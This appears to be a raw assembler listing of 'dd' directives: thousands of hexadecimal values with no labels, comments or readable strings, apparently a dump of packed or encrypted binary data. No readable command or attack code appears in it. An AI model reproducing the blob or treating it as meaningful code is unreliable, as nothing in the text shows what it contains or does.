dd 0F0C14768h, 0F1A0E288h, 0C21F1200h, 0DF27C791h, 0E2F8F641h
dd 72380F07h, 83E04E15h, 64C35CD8h, 0E26FD307h, 0C69049B2h
dd 924D7F9h, 859FEDD6h, 5AFE9170h, 8056B03Ah, 0F8A6F490h
dd 9A94ABh, 0AAA0D813h, 773A394Eh, 3E1E59F0h, 4C0EC49h
dd 40900C3Dh, 423000BCh, 0ADA0997h, 1239E002h, 8E76B857h
dd 409F84ECh, 98A8BB2Eh, 6B30FF3Fh, 9E100326h, 5B133C9Dh
dd 7C27D400h, 6CC7D461h, 7405EE14h, 0F83B1F84h, 84629F96h
dd 80F99EBAh, 4E740C38h, 9D9A2D38h, 6B805678h, 0CFA2E80Fh
dd 0EECB00E5h, 34030E41h, 1CF81694h, 1700FDB8h, 4A384929h
dd 395D9699h, 890083F9h, 0A1278A68h, 0B17BAC61h, 0D26CCB00h
dd 6436DE2Eh, 184E00FCh, 78D82A49h, 3BF01EB8h, 8756C23Bh
dd 30546C62h, 0C0D375A2h, 0EB53CAAh, 0E27E0E50h, 95DF140h
dd 430E2506h, 63AF3487h, 14A4D9h, 3BA03AACh, 3DB43CA5h
dd 0DE2CC91Fh, 3EB18404h, 58882A80h, 0FEDBFEDAh, 1E3F4DFh
dd 0A861E725h, 71F3F9EFh, 6CFBD038h, 70EFA05h, 0FD000D3Fh
dd 37CF258Eh, 4F3D380Fh, 1E558F9Eh, 0C96D8067h, 4EC05881h
dd 50839502h, 74C8F3BAh, 80EB1D7Bh, 0B004F7FAh, 0E4000982h
dd 1B11C4F1h, 3C533Bh, 3E5B3D57h, 4E63265Fh, 0C26B9200h
dd 50698074h, 0C4C2A09Ch, 36AF4B8h, 0F6C97831h, 1000D9BDh
dd 2775760Bh, 64B5E0h, 3ADCAC4Dh, 1C5A2472h, 351A8500h
dd 0BC9093A7h, 0DBC600A2h, 37163896h, 76001D04h, 0C8C50C17h
dd 8DF40Fh, 6CE1918Bh, 539DF999h, 0F2A5FC00h, 0C5FEA7A9h
dd 0E4D900E7h, 1568F0EDh, 840E879Fh, 8251673Dh, 0C08CF872h
dd 8EC19Eh, 90093E82h, 4F92F08Ah, 7C42E6E5h, 0A27E3A40h
dd 0C2AA4A00h, 887CEAB2h, 0E0120313h, 5DE84982h, 987A9CD8h
dd 7E0EACFAh, 0E0E959C0h, 253A110Eh, 3BFA005Fh, 3D613C4Dh
dd 0B27B3E87h, 0E5072D9Eh, 0E4708464h, 1F11B58Ch, 6CAB9Ch
dd 9302F624h, 8600C218h, 0C0E48457h, 9085E808h, 4E5D2C33h
dd 0B3CF003Eh, 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h, 0A4392EDDh
dd 0FDB0C7Bh, 311EF754h, 2D921C09h, 80418BC9h, 2171FE4Dh
dd 33B01F28h, 0D1C300B9h, 344CD8D3h, 0AC394F2Eh, 36E9A300h
dd 0EAF8E1EFh, 0BF50002h, 0FFD131FDh, 820787DAh, 4C35272Dh
dd 49F044E0h, 4749Fh, 97C2A076h, 87260BB7h, 0E5A31C00h
dd 0AFEAB0A7h, 0BAB300FCh, 54BB7E22h, 0C70B9EBFh, 80508BB5h
dd 0F34BE1B1h, 3F80561h, 8342092Eh, 23D83E61h, 0C23B3A84h
dd 305C8351h, 77937B1Fh, 70980186h, 34AC5D5Eh, 0CA2D603Fh
dd 0DE08C102h, 0C0060F2Eh, 580A12h, 4A3074FEh, 44F6C838h
dd 0F8919500h, 0FA272B50h, 36A41EFBh, 3A564045h, 0DC9270E8h
dd 4AA97400h, 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h, 0E1ECB1E8h
dd 9511F003h, 0F0998A04h, 0EC0F5E2h, 9C8F3263h, 9EA81D60h
dd 0E30016BAh, 93F726E1h, 41747h, 0F8C26334h, 9EC669D7h
dd 95A7C00h, 0A966374Fh, 968500A0h, 6E50920Eh, 0CE0F7E49h
dd 602E7824h, 0B08E16AEh, 0F0EB121Ch, 0D2740042h, 0BC6B4466h
dd 0DA2E2637h, 0D5D0B8B7h, 4BBEA8h, 3DF28329h, 0F0E947B2h
dd 0E68F5E50h, 7EC97305h, 9D87DA70h, 0AB5A9D50h, 0BE443EC2h
dd 0D21FA400h, 0F8490D97h, 20E1290Bh, 0FBAE05Bh, 0CF862C8Ah
dd 0C9960767h, 0AE24F29Eh, 0BE748E58h, 93FC600h, 2AE4D68Eh
dd 3D030013h, 260F097h, 7D003E2Fh, 3F217081h, 4386C29h
dd 4C26453Bh, 500ABAEh, 0C811E088h, 39EA015Ch, 2D663A2Fh
dd 0A7868076h, 0A8CEBC24h, 3C0F5CDCh, 414F3300h, 0F07E3409h
dd 0D85D9C00h, 50BA5CC0h, 953800D7h, 0A0596685h, 0F8009E1Ch
dd 0DC1AFCF5h, 3D519D3Eh, 0C58B7B1Dh, 1380E112h, 5EFCF04Dh
dd 0E4168800h, 5014C609h, 44762CD8h, 607A013Ch, 0DC4B7B7Ch
dd 0DA014A0Eh, 30D0E98Bh, 0EAE41B4Eh, 46CF0034h, 0CC38C003h
dd 4B00DD92h, 0B2F0BDE4h, 9E9CA8h, 0D126C26h, 0E82972E0h
dd 6A9A3700h, 8549807Ah, 0C72700DAh, 9CC11642h, 0CC4C68D6h
dd 0EC80B14h, 727D003Ch, 0BFC9FD8Eh, 2F4DD583h, 0EF8020E9h
dd 509BB0E7h, 6898B038h, 101CEA00h, 2F92153Fh, 0D6282CE0h
dd 8E9F03FEh, 32B009B6h, 6800C19Ch, 0D136C926h, 3A49D93Eh
dd 5E87B228h, 70617F2Fh, 960B3FA0h, 24D8B50Bh, 0C4B88098h
dd 0DAC954h, 50859DD3h, 15CAE0DDh, 2931260Fh, 92626088h
dd 0AE8276h, 2C7C7E9Eh, 3249017Ah, 4D334200h, 0EC3C80C9h
dd 84D7002Fh, 0F6F819DAh, 0C101BC27h, 166EE9D8h, 0DA300964h
dd 0B89C0058h, 4C897898h, 1C0091A5h, 4E9D4636h, 169E5E1Dh
dd 0B0831E66h, 0A800ACA7h, 746C72BBh, 0E27693h, 69385C12h
dd 0B27C2683h, 6600C9E8h, 0F9B4F1A1h, 27BCAh, 0C390516h
dd 17A34AC3h, 0C223B300h, 7E06702Fh, 525E0040h, 0C968660Fh
dd 36094188h, 0D96C6494h, 69201EBh, 0CC4A74B0h, 0E6724009h
dd 3A024200h, 2CC2104Eh, 70E8FC3Ch, 28682641h, 2A8E3F4Bh
dd 0FA00D34Ch, 0DD315230h, 34293300h, 84A7672h, 0AB0C1C0Bh
dd 0D3E640h, 58C98D5Eh, 880E3C20h, 0A00965E4h, 0E3603E41h
dd 6CD0F78Ah, 707D2Dh, 0E498C720h, 232979Ch, 0DE1C1072h
dd 0F88045C4h, 620D2F22h, 66E113EAh, 7B980006h, 0D812EE0Bh
dd 1A4BF002h, 0E2C63AC3h, 33AEC013h, 0BEE400AFh, 265081B7h
dd 3C019335h, 410E251Ch, 0E0306474h, 0E2E80030h, 9682DC06h
dd 8600562Dh, 5A2C621Fh, 91DA49Dh, 3CFE81FBh, 0C8FA4D80h
dd 1C003E57h, 93713F46h, 0B4E179h, 0F4B12260h, 0FCC7F8BCh
dd 58DDFF4Ch, 947C053Ch, 0C3C0FE80h, 901D31h, 96849754h
dd 2E08BC1Ah, 25CA6F00h, 40E15E87h, 553800F4h, 745B7239h
dd 8F704983h, 3EAE3D00h, 0EAF32CC6h, 1EC001B3h, 46A2B92h
dd 0E956E4C1h, 4B00F1E2h, 0F24CE238h, 3824763Bh, 3D80099Fh
dd 4E32D847h, 2E00C366h, 0DC94D28Ch, 279C122Ch, 4DC19E83h
dd 4A1670F2h, 96B41F07h, 893C2F6h, 22929063h, 0B29D0043h
dd 7CD07054h, 0BD007EB8h, 0C53F8917h, 74230B1h, 7724F080h
dd 499E00D2h, 0E100D6FAh, 6807E9F5h, 3263A66h, 3CE42B24h
dd 0D9B88F3Dh, 2D3E93BCh, 0EC560BA0h, 0B575815Eh, 0E7F8FA07h
dd 0F9E405F1h, 0C05D6093h, 856449E8h, 27CA781Eh, 0A17207C0h
dd 14E4ACE7h, 0BE76E0BBh, 38B4CE00h, 60A00A17h, 89951A00h
dd 311C04B6h, 3C74B8BCh, 4F81613Dh, 0FC5BE434h, 608E6163h
dd 0B7E2B0A5h, 98879703h
dd 93CEE7C4h, 0E4DAA0D5h, 9CBC01E2h, 5804F32Dh, 2794DC09h
dd 8C07161Eh, 93FE8FC0h, 0FE36323Fh, 7E8A3C70h, 3772007Fh
dd 8640A06Bh, 0A5E21CB4h, 1DB89D00h, 15F09ECDh, 2FFA002Dh
dd 8BCA856Ch, 0C80ED4D3h, 0C03CC1E1h, 3E7C0C92h, 5602C11Dh
dd 0E4C36296h, 1B0BE0FFh, 0BE273Fh, 0B64F46DCh, 7449176Ch
dd 7C5E04D8h, 0C8B3C05Bh, 401C5070h, 1C014F0h, 0EE300BA3h
dd 3A7C32h, 0F916640Ch, 2F34B8FDh, 0C6610500h, 0E177310Dh
dd 0E3B0086h, 29ED25E0h, 560028CCh, 2E7353Fh, 741C53Dh
dd 0FC4992A0h, 0FD51204Dh, 59008C20h, 611FFA94h, 76593h
dd 25923B98h, 9A08E002h, 380A9C00h, 1FEC824Ah, 0F77A48DEh
dd 987C4B00h, 76165C26h, 96308312h, 0ACFA4A00h, 12B0D4h
dd 0BC684FB4h, 7678C0CBh, 75C85B3Bh, 50F08B00h, 87F84ACAh
dd 3F032772h, 0C200D4ECh, 7E265814h, 48204A1Ch, 0F413F68Bh
dd 28EEE292h, 6000FAB7h, 68E564E7h, 3E70DE4Ah, 0B9935EE0h
dd 3EBEA0A8h, 0B41A0F00h, 6AA7B8C9h, 0C4E400C0h, 0FCCC64E0h
dd 0C600BAD0h, 0BECBD85Bh, 0EB250C9h, 40C61F0h, 0C32A08E0h
dd 14E6104Ch, 0E318D300h, 0F020F21Ch, 285B0086h, 79FBD0C7h
dd 580E71D2h, 46FA5CF9h, 8AE548h, 7CFC78A0h, 8416A29Ch
dd 8CE8F012h, 13EA5700h, 0B682B4h, 0CCE058C0h, 88D860C9h
dd 2305E71Dh, 2D01BC9Fh, 0C0C83166h, 0C93CCCh, 0F0686F40h
dd 4F2EFD64h, 81709E3Dh, 7CECC174h, 84C880F9h, 2FE60078h
dd 9404418Ch, 65A2E7Ah, 0E3C0F5C3h, 760CE2C4h, 0E8E2840h
dd 0DCCFD8E0h, 1CCB405Dh, 2C5FAA70h, 3C100905h, 94A87C78h
dd 0E15C8A00h, 74F96C12h, 84222F00h, 44AE568Ch, 0AAAC01A4h
dd 0A661B425h, 588240C4h, 0BF63064h, 0A4701A00h, 0B8E884D2h
dd 0B8C752Dh, 16FC9462h, 0B84970h, 0A803A47Dh, 6FB02CC1h
dd 7BB8F80Bh, 1C4107FEh, 0A02F3834h, 20704832h, 0F5C5A00h
dd 6CCB689Ah, 2FF0747Bh, 0AB63DC79h, 96F441BFh, 0C04630F8h
dd 8004353Eh, 0E164C611h, 0FA6CE968h, 0AEE70h, 0E285B778h
dd 0B9E4BC80h, 0C07C3E01h, 0C20B9FC8h, 0FAD464F4h, 0DC2D00FAh
dd 0F1C9FCE5h, 301FD9D2h, 38800B3Eh, 7C7214D1h, 4FDE00E4h
dd 0A0E68298h, 120036F4h, 0B0AA83A8h, 0F2B4F3h, 4F48D0B8h
dd 96F69FC0h, 10609C00h, 18888597h, 206A3EB0h, 28068480h
dd 64E808FDh, 1344BC01h, 740EF06Ch, 80A8C680h, 88B00F2Fh
dd 588CC900h, 0DE944FC6h, 0D08F0E1Eh, 5263D4CBh, 0E090DC7Eh
dd 0B00E45Bh, 8650ECAEh, 3F0FF45Eh, 0E80FC76h, 8490438h
dd 4A48EE58h, 18F00073h, 0F4561CE2h, 147B01Fh, 162C9328h
dd 0D8A4B1AFh, 0E07F3C02h, 87B5440Bh, 75F858h, 4B854E4h
dd 602F5C3Fh, 15A00E03h, 85B6AB01h, 3FF013Bh, 40E86090h
dd 0EB0E1506h, 87821144h, 2EB590DBh, 4D02E00Ah, 44BB18DEh
dd 0DD039029h, 719D2B18h, 33BD8311h, 89AD30D8h, 832E2FE9h
dd 3E850F0Eh, 8D183B05h, 5027E030h, 0EC2095FFh, 60897D31h
dd 0F88B1BDCh, 0ED669D8Dh, 432D5311h, 797936E8h, 21FA4228h
dd 4E7D4457h, 6A49D48Bh, 6A075618h, 10066804h, 0DF46EAA0h
dd 4C6D38ABh, 75264268h, 2A453AA3h, 0E853C70Ch, 7F8B3774h
dd 0FBD51C8h, 1B41B5E1h, 0ACE2A4F3h, 0A3807623h, 57E35036h
dd 850E0E8Dh, 7EF2C51h, 10AC3C0h, 2100409Ch, 2002B063h
dd 7F3C9008h, 145200C4h, 4409108Ch, 0D8BD21CCh, 57E100E0h
dd 330E0520h, 8500222Ch, 4FF016Fh, 559D8Bh, 0B0CC02Ah
dd 0A7A74DBh, 870003ECh, 89195985h, 318DF0h, 831171B5h
dd 840FC03Eh, 47D36A1Dh, 468B4043h, 68E4C004h, 141EFC99h
dd 9A063850h, 0EC305586h, 8B560D1Fh, 9D0309C5h, 51A0BB05h
dd 2F29A03h, 6EBD8880h, 12D0070h, 85FE4C75h, 8B0F0940h
dd 0E050033Eh, 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h, 535651A3h
dd 83BA00D5h, 0B55506E9h, 33173FE0h, 56000BDBh, 1A781C03h
dd 0E83C17ACh, 0E9FA00BBh, 494304D8h, 0EDEB0100h, 0C3831E29h
dd 0C6CD0005h, 0FA4C76F3h, 5B070DE0h, 6258595Eh, 36104837h
dd 0F90CC1h, 8DA5F302h, 3C0377E1h, 535EA400h, 809C5088h
dd 9B853B82h, 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h, 64E402A9h
dd 0E10729FEh, 864B5595h, 2B0F1970h, 79D89DD0h, 0E8C1C200h
dd 0B88A4610h, 235D0067h, 4C3A6D03h, 0FC0074FFh, 834E548Bh
dd 0D17308h, 0ADCA7DACh, 0C107EF66h, 910CEB00h, 9D7401FBh
dd 5002070Bh, 0C7033D16h, 2F2CF020h, 0E3001481h, 79820FFFh
dd 0E604011Fh, 7E1D79D4h, 390EEEB2h, 8DBD462Dh, 0B8E20200h
dd 61DC9ED9h, 128B4B0Ah, 6000E203h, 40C0850Ch, 1539071h
dd 0EAC2EB83h, 20C7A2D8h, 26000CF0h, 53073275h, 29F016h
dd 4A4D6E04h, 413BB4C7h, 0C403A901h, 66470646h, 107AD8h
dd 1B57ED6Ah, 7ED618B7h, 0FA511A00h, 850D41B0h, 0A49900DBh
dd 62F759A2h, 802501ECh, 0F0F475h, 5653C543h, 6500028Ah
dd 19B5AC7Fh, 0E6E8B850h, 755B0367h, 2A25A66Fh, 0D28B57E0h
dd 83659839h, 31342BC7h, 99E9D842h, 4939012Ah, 37DC3606h
dd 188EDC53h, 5A247500h, 0C1124AD3h, 140200E2h, 3F7C0F63h
dd 835F3C7Bh, 30AE0h, 0D91CA35Ch, 0A1DE1304h, 0EB5F2300h
dd 21515A16h, 8177A4h, 8307894Bh, 3704B14Ch, 0AF32E900h
dd 4A2D06E7h, 710E892h, 0D9141C0Ah, 0FEEBF0C1h, 8500BA24h
dd 0A4506544h, 735B483Dh, 100400C2h, 61022F11h, 0B81F0875h
dd 0C402201h, 32BF54Bh, 1C9300C3h, 0B715588Dh, 0AC005051h
dd 7656DCD3h, 3942DEBBh, 0A3804825h, 2708ED21h, 9400DB30h
dd 641A8B4Ah, 38D83D3Ch, 0C40283D0h, 306A5F10h, 0E1468961h
dd 0C9C2301Dh, 2C47F600h, 513C978Ah, 74985Bh, 43A57729h
dd 14959FEFh, 4CC2CE01h, 0F4391833h, 0AB10D4h, 0AC4A4051h
dd 779F196Eh, 53D51E00h, 56D28D89h, 0E49B00F2h, 68C598F0h
dd 0C73BC84Dh, 50D480DAh, 5C9CB6BEh, 31EEE4h, 13B5A1Fh
dd 3733888Ah, 0EF60DA00h, 0BB86BC39h, 0E2EE006Fh, 1072C6DCh
dd 0AE0096FEh, 24CF0A7Dh, 0ADB14Fh, 4C2A4481h, 0CDD53940h
dd 0C8012301h, 79B62C09h, 0BFF1E4h, 17607C0Eh, 0AB51E0FEh
dd 8D0061EAh, 1690FBD6h, 2FD240h, 28A1B4D4h, 587CC109h
dd 0B8191100h, 98107174h, 0C72A0059h, 0BEBB8531h, 80009F8Bh
dd 233935E8h, 37BD87h, 92DF5D63h, 4E4F0372h, 6D009579h
dd 57B9D5E4h, 38DEA83h, 82B7CD0Fh, 7C00DBCh, 0B103FD41h
dd 87A3972Ah, 8ACFE029h, 48240078h, 0B7EA61E9h, 0D5EE7649h
dd 0F768441Dh, 0A1145080h, 0F2C4BC60h, 0C8E0027h, 0A0656631h
dd 0BF00174Bh, 3FD6872Ah, 6EEDF1h, 0DC8ED3BCh, 0AD30EC57h
dd 0D548E5FAh, 56CB05FDh, 0C3BB4CF1h, 800A1DBh, 0A575C410h
dd 8CDBEh, 31E18193h, 42CED970h, 0DE19DD1Fh, 71959987h
dd 3F8F1CA0h, 4698003Dh, 0DB31A266h, 50030A8Eh, 5DA8D0F7h
dd 59C6D05Ch, 24D51EC2h, 0B842CF0Ch, 0BD49E9C0h, 8100262Dh
dd 62CDBB78h, 0A2023h, 0B0FCEC59h, 5C33F086h, 0D79BE600h
dd 0ABE21B42h, 411C0060h, 5D740602h, 0F00ECC61h, 7F834AC6h
dd 2FA2EC0Eh, 31472075h, 0D55E0Fh, 0B39E8D01h, 0C78E62D4h
dd 5A1DCD00h, 0F5B2F9A4h, 0A22F6092h, 1C684ADEh, 512E1E0Eh
dd 451A4069h, 0F430F8Ch, 0B82A844Eh, 0FA7B6C20h, 0B400A860h
dd 768BC7DFh, 7DB91A0h
dd 179A270Ah, 487F006Bh, 0EA038997h, 633644D0h, 1504E083h
dd 18CECDFh, 35586176h, 0C46F24BFh, 0E63B5599h, 0EC2B0019h
dd 17685464h, 0A16A00D0h, 0BB2624A3h, 0F47C76F0h, 1DAFDB04h
dd 8280E69Bh, 88662Ah, 650824C9h, 0E978890Fh, 737938h
dd 50D74341h, 6EC21Dh, 69EC54E7h, 1367D3B3h, 3E74EA1Eh
dd 7B9D3700h, 0CEB45Ch, 62574738h, 33B5B6E9h, 61B30800h
dd 31033CF3h, 2BC33A65h, 27BAAE00h, 116A8B22h, 0D925B300h
dd 3CA1E837h, 0E4481E5Dh, 0D29CF6h, 41E2D45Fh, 641C0467h
dd 0B4FD6F4h, 7FDCC037h, 1B6C36Eh, 12E357A1h, 0CA01AA54h
dd 53458EC0h, 4072200h, 0EC5FD244h, 0D3C80020h, 0A96D7C14h
dd 2A01D9BCh, 0B851CF3Ch, 5AC56C31h, 0ED01E0h, 7BCBB39Dh
dd 69C5ACA6h, 4A6F2500h, 2565E2Ah, 88F81410h, 1A00E4DAh
dd 76A73E27h, 1301EB1Bh, 0C0CE492Ch, 92FCD780h, 15850056h
dd 19D152BFh, 0B50053D4h, 0E396C067h, 320482h, 0AA0E3C76h
dd 0D449596Ch, 771D7C72h, 4E8F095Ah, 7EC0FD70h, 9207A7B1h
dd 3FDC3E27h, 0AFE2DD03h, 70F0B084h, 0AD001881h, 0CF147C9Fh
dd 0A8C26Dh, 6878AC54h, 0F73128F3h, 0B033C500h, 9B35B6B1h
dd 0FC2DE6A8h, 641500C6h, 0D104CA8Ah, 0D034BE0h, 81242C8Bh
dd 4FA0BCEDh, 35557BC3h, 870860ECh, 0C7D7034h, 8000B2FCh
dd 8846068Ah, 1E024707h, 9E0575D2h, 0CA129D16h, 500BEF73h
dd 0C057334Ah, 830F090Dh, 0B83F62D6h, 0AFC0130Fh, 674E00Bh
dd 0F87C2B57h, 0BD5F0731h, 0A061A0EBh, 72C13E4Eh, 0F7E883EAh
dd 5AB928E1h, 0E0C92120h, 2BF78B56h, 0A4F3F501h, 0FF58E95Eh
dd 0C1480282h, 0B2A208E0h, 31B5E88Bh, 7D183D9Ch, 0C81A7336h
dd 143F050Eh, 2140410Eh, 31811F0h, 777FF883h, 2C1A903h
dd 2CF6155Dh, 0C90033A3h, 7401E8C0h, 6AD18312h, 0E21CB602h
dd 5D07FEE7h, 552609B9h, 82618687h, 797008C2h, 7A8817E1h
dd 39FE7C5Dh, 38C76AC1h, 560FDC5Eh, 7574A369h, 1541F361h
dd 0D636F16h, 65CE468Eh, 508F0C35h, 9EFF6F8Eh, 450FB863h
dd 7AF16978h, 53E373F8h, 8CC67545h, 4D6343A6h, 0FC676129h
dd 41F00EFFh, 7060770Fh, 746E6972h, 4C146663h, 4544F04Fh
dd 6206E52h, 98707B9Eh, 50657AE5h, 6F643E70h, 375FB875h
dd 2079C642h, 1F53BEFFh, 63DE7325h, 2DD35C65h, 0B5BE8CDEh
dd 874D3862h, 1EB7E261h, 6BFBEE38h, 0F7C779CBh, 2E63C66Dh
dd 0B6B20CCh, 0DA727E62h, 51A76875h, 2C64D66Fh, 1E2BA2A3h
dd 245E4375h, 38C4C190h, 0E509D232h, 0B3181529h, 33FD4702h
dd 0FEF741F1h, 239AF5D5h, 7E8F43FFh, 0A663B5D2h, 4163467Dh
dd 0DF6F4C27h, 9F5394AEh, 67B3B4E7h, 4EA4A9B4h, 0EA00DF96h
dd 10060h, 4E810000h, 47370000h, 8D2E0BEEh, 7554488Eh
dd 4E4063BDh, 77985607h, 0FC43B78Ah, 0EFD7AD6Fh, 0DB832BAh
dd 0C8C657FFh, 0CEE05DA0h, 193B83CFh, 0D4FA4CECh, 0A80C9E04h
dd 0CBB9D1F9h, 0AA17B937h, 0D5C17821h, 3A06632Dh, 0D87D4CA4h
dd 94FFD4Ch, 0C7CBF952h, 47B9E787h, 8392255Eh, 0E78F0F52h
dd 45CC5C53h, 0ABEFDC63h, 377CF37Ah, 4868059h, 9377F77Eh
dd 0DFE31170h, 2B2F7420h, 98F2D6D9h, 0F15A48F7h, 0CB0D7D08h
dd 5346D33Eh, 22E79F5Bh, 0C6EFD9D0h, 0E04756Eh, 7CC47D7Bh
dd 538EE82Ah, 0DDF408C3h, 0B9669ADDh, 0A2E97A6Eh, 6843E059h
dd 710CC448h, 0C904D252h, 8D39C6C7h, 714F38BFh, 176DE7B3h
dd 2C7FC0D6h, 26F3E8E2h, 23256F60h, 67DF7E10h, 0BC3A283h
dd 0BF9CB8CAh, 1C8BF32Dh, 9FEC237Dh, 0BF33406Fh, 8A729771h
dd 0A481AB4h, 0E5F41236h, 0F64A938Bh, 8BC79667h, 0A072A9A8h
dd 0DB310BF1h, 0FF58989h, 0C64AE36Fh, 35F53940h, 28F1A5A6h
dd 4D586FB8h, 46DE0CFAh, 417FF5A5h, 778305FDh, 7941D089h
dd 2DBB9EC9h, 2AD6786Ah, 2ACA5BE5h, 0BCAA6F2Fh, 0B124048Ah
dd 34834FB3h, 0EE3E6E92h, 6FC04264h, 1E265060h, 0E16B26BAh
dd 5B0862EEh, 822F865Fh, 7C350756h, 1A21156Ah, 0DD16314h
dd 99E75561h, 0D3CD63ECh, 0D7E2A371h, 8C7D3B0Eh, 1BE9FECCh
dd 0F2312844h, 0A8C4E76Eh, 78B9A614h, 3EBFD15Fh, 0DCBC4B49h
dd 530DDA0Ch, 0B0F622CFh, 1AC55D97h, 44C2A36Ch, 874ECA3h
dd 0CC9A5AD3h, 0E2F26518h, 71A91A4Dh, 0C702BBCDh, 1824DD42h
dd 0AC52B761h, 0CB57134Ah, 0E93EC3B2h, 5E0A0FE7h, 0A988DE27h
dd 9B11F402h, 8FC1FB7Eh, 3061BC9Ch, 0F0F21657h, 5A610A30h
dd 89B9518h, 0E463C35Fh, 36FEBA93h, 7A27655Eh, 1A26098Bh
dd 43804CCBh, 7F7D2711h, 0DF9B424Ch, 0FA3B5F64h, 0E4BA89BEh
dd 0C8ADF26Ch, 52FDCE76h, 11B42756h, 0ED408513h, 0F163CE7Fh
dd 521CCBEEh, 0E77140Fh, 3800C7Ch, 59E6A106h, 0DDF6F281h
dd 0A8A30BB5h, 0AE4EB1DEh, 0B62F7C5Fh, 0C03CAF06h, 0BC3B574h
dd 0E76BC0Fh, 42EA34FBh, 2FF3051Eh, 0A25EF1DBh, 0A549B10Ch
dd 0F3190FCAh, 95EF5CBEh, 7CDCDDD6h, 0AB40C637h, 596CB3Bh
dd 0D8AB562Ch, 0C960C333h, 144A2FC9h, 0AB946640h, 5869903Ch
dd 8E215DB5h, 6474B83Dh, 0D82D50DBh, 2C06391Ah, 5C29BC0Dh
dd 1C1A6A70h, 41D8D30Ah, 13F4A480h, 0EB546EE8h, 0FFE6879Dh
dd 2ADCDCCBh, 0D50862BEh, 0B0FC1C0Bh, 5ECF864Fh, 0FE2C3868h
dd 0E56305Ah, 1E5AD760h, 833C4827h, 79A7311Eh, 0D5818EECh
dd 7525BE02h, 1B5B020Ch, 3FD2EACDh, 4538053Dh, 523319E4h
dd 2DCD1E17h, 878ACA57h, 0D63B263Bh, 0B2D1908Dh, 0E3496C0Ah
dd 0A4C55ACAh, 47C2F07h, 4AA16F7Ah, 0A48D3568h, 22FE64A1h
dd 0E2F5A0A4h, 6912B7FAh, 0E14D9270h, 98F8AA07h, 882B3554h
dd 0F9FB6AFBh, 0FD86D6E6h, 9436C48Ah, 10E82CEAh, 0E6DCECBCh
dd 3A831282h, 0ABF749C2h, 20448DD9h, 0B8B69634h, 0D4547ABDh
dd 5FD14287h, 0C6DD7A35h, 656E86FEh, 35BA15D7h, 0B64464F0h
dd 30339B0Ah, 572B11FDh, 0DAF21A18h, 0B40776B8h, 88B18F37h
dd 89C8180Dh, 0B2390CCFh, 0D80144Bh, 6BB6CBAh, 5A50E90Fh
dd 0F86808Bh, 9069021Eh, 0B47BCF1Ch, 531FE7FEh, 0E597BF96h
dd 4C214D98h, 0B2A13538h, 26C60D9Dh, 0A2332A3Eh, 2EF0E13Dh
dd 74D398C4h, 926DDDACh, 0CA37F81h, 0D40844BBh, 33165172h
dd 60F6AD59h, 1C9C545Dh, 3B9668D4h, 95B40C09h, 0A47E6B97h
dd 0E175D05Bh, 70479DADh, 0AE5953D2h, 8508986Bh, 0B951764Fh
dd 0E8B3B9D1h, 9EB5DEB8h, 0CAF6FC85h, 0FDD87235h, 93F39970h
dd 36872EC6h, 557D778Ah, 4D78D7C8h, 7DE5AFCEh, 7758D267h
dd 6AF3DC74h, 0BBC568A7h, 0D3D5E5FCh, 0B4596F72h, 37A68127h
dd 4A5A1E16h, 5DE39166h, 98B06713h, 0F6F073D6h, 959A39CDh
dd 80859DCh, 0A66BBBDh, 0DC7154AEh, 8E0025ACh, 629B401Ah
dd 733A4167h, 1E210394h, 0BA699515h, 6C569855h, 362FC2D9h
dd 0B12A5787h, 0BD09F179h, 0F393F19h, 0B44D70A5h, 0F094D89Dh
dd 96F1705h, 0E63160EBh, 0EEC9227Dh, 8C0E7A5Ch, 0DB028DA6h
dd 0CEAA29C3h, 0CF3D90A9h, 0D58FEEC3h, 1DF30489h, 7C3C6769h
dd 314F381Dh, 9E091339h, 8CD9B940h, 0ED042F81h, 7C4A9423h
dd 5590EAA1h, 36129A05h, 1B1A39AEh, 0BB9888F3h, 0A99FFD7Eh
dd 8F064260h, 0B2E69E13h, 3FCBDC11h, 329029FFh, 60616DB6h
dd 3F13E987h, 3F8D5282h, 628A905Eh, 0C9E2353Ch, 0D72F2325h
dd 3A31D06h, 3C0B60B3h, 11BE6AEBh, 0FFFC3A14h, 1310D726h
dd 0D40C77Bh, 1ABB59h
dd 0EF1310D3h, 48B16F8Ah, 7AA1F13Bh, 78B96B49h, 0CC17DFABh
dd 6613CF54h, 0B416A9DDh, 58B98D01h, 378BFEC4h, 77021E21h
dd 0F23BCE01h, 8630FA70h, 3F9C697Dh, 0B06CFB3Ch, 142270C3h
dd 9E8494A0h, 0B234234Ch, 0E0547E05h, 0F3277042h, 8783CBEBh
dd 5D3FCA2Eh, 93D29528h, 1E60FB01h, 1D639348h, 0FD3717AEh
dd 999EFC23h, 356C85h, 6B2809CEh, 0F00462DCh, 1B43C981h
dd 82C19D64h, 5B3C163h, 8BC611C7h, 6850A9DEh, 5C8772DDh
dd 6493FAFh, 63BFD815h, 2D7E38A8h, 0B890C372h, 0C65C7DDBh
dd 0AAD40CEDh, 0E5C016A8h, 43DF9A34h, 0F7E3CECEh, 0CD6A7E1Bh
dd 15E6A6A9h, 72662123h, 392DE1BBh, 27313B5Dh, 9FF6E8D0h
dd 0CE2D8FC9h, 6230DF0Eh, 0B184C3EFh, 0ED29710Ah, 0CAFCC139h
dd 307766ADh, 3C9E6484h, 554AD295h, 0DBDBD450h, 6367217Ch
dd 4FB0116Dh, 327330C4h, 90087A08h, 764A2A3Ah, 0B03D355Ch
dd 0DA8922FAh, 0C1E7618Fh, 0DB067DF9h, 520EBA21h, 0B512E76Ah
dd 599CB4F1h, 0F04CAF4Fh, 22AE7ADFh, 95C63A54h, 8AA3FC1Ah
dd 88E75DBEh, 573A5419h, 40A695E9h, 20AAAE60h, 670CD8EAh
dd 0B00B3FE1h, 87087B06h, 47819B18h, 136DE22Dh, 0B482963Bh
dd 67AA27DBh, 0EF68B0DDh, 0A5C0EFD1h, 0AAFC6068h, 2AE3D068h
dd 0B2FC9DB2h, 0A8F82331h, 48014B42h, 3477DAB9h, 0A1CE27AEh
dd 6E034C84h, 0AED57F15h, 0FEB3EEBCh, 0B1412274h, 2D9C1272h
dd 65EAAA2Fh, 44D16B7Bh, 9581AF4Bh, 0D18C77D9h, 51627D56h
dd 0F12842E2h, 1A9A8A03h, 0C68EDA60h, 0DFF82674h, 0F32A954Fh
dd 73F98CB3h, 992DC60Ah, 0C9DDE2A2h, 36CDD6C3h, 0DEF7E621h
dd 28CFFD7Ah, 293B9B8Bh, 0A2237D76h, 2695416h, 0DDB62AAEh
